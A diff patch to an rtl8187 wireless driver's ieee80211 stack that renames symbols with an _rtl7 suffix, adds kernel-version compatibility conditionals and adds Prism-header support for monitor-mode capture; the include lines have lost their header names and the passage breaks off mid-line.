#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +50,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +82,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +97,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +161,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +213,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +227,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +240,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +249,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-04-23 00:09:03.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-04-23 00:09:00.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-04-23 00:09:00.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* 